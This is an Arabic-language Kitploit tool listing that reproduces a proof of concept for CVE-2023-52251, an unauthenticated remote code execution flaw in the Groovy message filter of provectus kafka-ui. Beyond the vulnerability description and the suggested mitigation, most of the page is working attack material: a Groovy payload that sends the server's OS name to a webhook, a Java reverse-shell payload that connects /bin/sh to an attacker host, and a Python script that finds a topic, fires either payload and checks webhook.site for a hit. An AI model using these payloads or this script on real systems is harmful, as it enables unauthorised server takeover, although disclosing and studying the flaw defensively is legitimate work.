Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 توجد ثغرة تنفيذ تعليمات برمجية عن بُعد في provectus/kafka-ui. | Kitploit
أدوات/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 توجد ثغرة تنفيذ تعليمات برمجية عن بُعد في provectus/kafka-ui.

عرض المستودع
21320منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-52251-POC

يوجد ثغرة تنفيذ تعليمات برمجية عن بُعد في provectus/kafka-ui. لا يوجد تصحيح حتى وقت كتابة هذا التقرير، لكن تم إخطار البائع من قبلنا ومن فريق VINCE دون أي استجابة. تم إرسال التقرير في 27 سبتمبر 2023 إلى provectus عبر البريد الإلكتروني وأمان GitHub.

المعالجة

نقترح وضع دالة فلتر groovy بأكملها في تعليق / إضافة مصادقة كحد أدنى.

البيانات الوصفية

العنوانالقيمة
سلسلة CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:A/H
معرف CVECVE-2023-52251
وصف CVSتم اكتشاف أن provectus kafka-ui 0.4.0-0.7.1 يحتوي على ثغرة تنفيذ أوامر عن بُعد (RCE) عبر معامل q في /api/clusters/local/topics/{topic}/messages
درجة CVSS9.x
CWECWE-94: التحكم غير السليم في توليد الكود ('حقن الكود')
البائعProvectus
المنتجkafka-ui
الرابطhttps://github.com/provectus/kafka-ui
الإصدارات المتأثرة0.4.0-0.7.1
الإصدارات المُصحَّحةلا يوجد
المساهمونThingstad, BobTheShoplifter

التفاصيل

نوع الثغرة: تنفيذ التعليمات البرمجية عن بُعد (RCE)

البرنامج المتأثر: Kafka-ui

الإصدار: [0.4.0-0.7.1]

وصف الثغرة

لا يوجد تعقيم لفلتر البرنامج النصي groovy قبل تنفيذه. وهذا يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية على الخادم.

مرجع الكود المصدري

في الدالة groovyScriptFilter لا يتم تعقيم «البرنامج النصي» قبل تنفيذه.

ويتم تنفيذه عبر eval في المحرك:

var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

إثبات المفهوم

تعليمات كاملة، تتضمن تفاصيل إعداد محددة، لإعادة إنتاج الثغرة.

باستخدام الفلتر:

new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

لقطة شاشة للفلتر

سيؤدي ذلك إلى إرسال طلب إلى الـ webhook يتضمن اسم نظام التشغيل للخادم.

لقطة شاشة لـ Webhook

بتوسيع هذا المفهوم أكثر، يمكننا استخدام الحمولة التالية للحصول على قشرة عكسية (reverse shell):

String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

يمكن توليد الحمولة بسهولة على https://www.revshells.com/.

قشرة عكسية

كما تم إنشاء إثبات مفهوم (PoC) بلغة بايثون:

from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)

        if r.json()['data'] == []:
            print("No rce found")
        else:
            for request in r.json()['data']:
                print(request)
                print("Rce found")

    except KeyboardInterrupt:
        print("KeyboardInterrupt")
        pass
تنزيل الأداة